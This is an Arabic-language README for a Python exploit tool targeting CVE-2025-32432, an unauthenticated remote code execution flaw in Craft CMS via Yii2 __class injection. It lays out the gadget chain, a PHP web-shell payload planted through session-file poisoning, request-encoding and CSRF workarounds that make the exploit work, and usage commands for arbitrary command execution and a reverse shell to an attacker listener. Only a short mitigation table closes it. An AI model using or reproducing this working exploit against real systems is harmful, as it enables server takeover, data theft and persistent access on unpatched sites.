
استغلال Python لـ CVE-2025-32432، وهو RCE غير مُصادَق عليه في Craft CMS عبر حقن __class في Yii2، مع دعم تنفيذ الأوامر والـ reverse shell.
الخطورة: حرجة (CVSS 10.0) المصادقة مطلوبة: لا المتأثر: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 تم إصلاحه في: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
الدالة AssetsController::actionGenerateTransform() مُعلنة بـ allowAnonymous، مما يجعلها قابلة للوصول دون مصادقة. وهي تمرر المعامل handle الذي يتحكم فيه المستخدم مباشرةً إلى Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
تعامل حاوية حقن التبعيات (DI container) في Yii مفتاحين خاصين في المصفوفة دون أي قائمة سماح:
| المفتاح | السلوك |
|---|---|
__class | إنشاء نسخة من هذا الصنف بدلاً من النوع المُعلن |
__construct() | تمرير هذه القيم كوسائط للمُنشئ |
سلسلة الأدوات (Gadget chain):
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
تسميم ملف الجلسة يُغلق الحلقة: يكتب معالج الجلسة في PHP قيم معاملات GET حرفياً في /tmp/sess_<CraftSessionId>. إرسال <?=shell_exec($_GET['cmd']);exit;?> كمعامل استعلام يزرع كود PHP قابل للتنفيذ في مسار معروف يتحكم فيه المهاجم.
تقوم مكتبة requests في Python بترميز URL للأحرف <، >، ?، = قبل وصولها إلى الخادم. يخزّن ملف الجلسة %3C%3Fphp... (غير ضار) بدلاً من <?php... (قابل للتنفيذ).
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";
الإصلاح: قم بعمل monkey-patch للدالة HTTPConnectionPool._make_request — وهي النقطة الأخيرة قبل الكتابة إلى مقبس TCP — واستدعِ urllib.parse.unquote() هناك:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before send
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
يُعيّن Craft CMS الاسم CraftSessionId، وليس PHPSESSID.
# BROKEN
session_id = session.cookies.get("PHPSESSID") # -> None
# FIXED
session_id = sess.cookies.get("CraftSessionId")
يتحقق Craft من رموز CSRF في جميع إجراءات POST غير المجهولة. حذف الرمز يؤدي إلى 400 Bad Request.
# BROKEN
requests.post(url, json=payload)
# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| المشكلة | أدوات تسميم السجلات | الجلسة (ملف تعريف خاطئ) | الجلسة (بدون CSRF) | هذه الأداة |
|---|---|---|---|---|
| ترميز URL | لا ينطبق (User-Agent) | معطّل | معطّل | مُصلح بـ monkey-patch |
| اسم ملف تعريف الارتباط | لا ينطبق | معطّل PHPSESSID | معطّل PHPSESSID | مُصلح CraftSessionId |
| CSRF عند التشغيل | سليم | سليم | معطّل | مُصلح |
| خروج السجل القديم؛ | معطّل | لا ينطبق | لا ينطبق | لا ينطبق |
| يعمل على بادئة /cms | معطّل | معطّل | معطّل | مُصلح |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a PHP reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| الإجراء | التفاصيل |
|---|---|
| ترقية Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 تتحقق من أن handle يُنفّذ ImageTransformerInterface |
| ترقية Yii2 | 2.0.50 تحجب حقن __class في Component::__set |
| قاعدة WAF | احجب __class أو __construct() في جسم الطلب إلى /actions/assets/generate-transform |
لأغراض اختبار الأمان المصرّح به والأغراض التعليمية فقط.